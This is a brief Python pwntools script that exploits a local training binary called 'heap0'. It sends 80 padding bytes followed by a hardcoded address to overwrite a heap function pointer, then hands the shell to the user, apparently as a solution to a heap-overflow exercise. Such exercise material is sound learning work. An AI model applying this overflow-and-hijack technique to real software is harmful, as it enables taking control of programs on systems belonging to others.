#!/usr/bin/python

from pwn import *

def main():
    # start a process
    p = process("./heap0")

    # create payload
    # Please put your shellcode here
    payload = "A" * 80 + p32(0x080484b6)


    # print the process id
    raw_input(str(p.proc.pid))

    # send the payload to the binary
    p.send(payload)

    # pass interaction bac to the user
    p.interactive()

if __name__ == "__main__":
    main()

